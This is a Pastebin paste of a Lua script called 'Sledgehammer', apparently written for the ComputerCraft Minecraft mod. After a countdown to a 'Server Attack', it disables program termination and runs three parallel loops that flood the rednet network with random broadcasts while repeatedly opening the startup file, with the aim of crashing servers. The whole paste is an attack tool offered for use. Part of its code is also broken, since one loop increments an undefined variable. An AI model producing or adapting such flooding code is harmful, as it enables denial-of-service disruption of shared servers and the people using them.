Advertisement
PaymentOption

sledge

Sep 12th, 2012
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. --Sledgehammer--
  2. --coded by Gavin .S--
  3.  
  4. os.pullEvent = os.pullEventRaw
  5.  
  6. term.clear()
  7. term.setCursorPos(1,1)
  8.  
  9. write("Please enter modem side: ")
  10. side = io.read()
  11.  
  12. term.clear()
  13. term.setCursorPos(1,1)
  14.  
  15. print("Modem set to" ..side)
  16. print("Starting Server Attack in")
  17. print("")
  18.  
  19. print("3")
  20.  
  21. os.sleep(1)
  22.  
  23. print("2")
  24.  
  25. os.sleep(1)
  26.  
  27. print("1")
  28.  
  29. os.sleep(1)
  30.  
  31. os.sleep(0.1)
  32.  
  33. rednet.open(side)
  34.  
  35. y=1
  36. x=1
  37.  
  38. function CrashRoutine_1()
  39. while true do
  40. x1=x1+38
  41. a = io.open("startup","r")
  42. rednet.broadcast(tostring(math.random(27732651)))
  43. y=y+1
  44. if y > 75 then
  45. y=1
  46. os.sleep(0)
  47. end
  48. end
  49. end
  50.  
  51. function CrashRoutine_2()
  52. while true do
  53. x=x+38
  54. a = io.open("startup","r")
  55. rednet.broadcast(tostring(math.random(27732651)))
  56. y=y+1
  57. if y > 75 then
  58. y=1
  59. os.sleep(0)
  60. end
  61. end
  62. end
  63.  
  64. function CrashRoutine_3()
  65. while true do
  66. x=x+38
  67. a = io.open("startup","r")
  68. rednet.broadcast(tostring(math.random(27732651)))
  69. y=y+1
  70. if y > 75 then
  71. y=1
  72. os.sleep(0)
  73. end
  74. end
  75. end
  76.  
  77. while true do
  78. parallel.waitForAny( CrashRoutine_1, CrashRoutine_2, CrashRoutine_3 )
  79. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement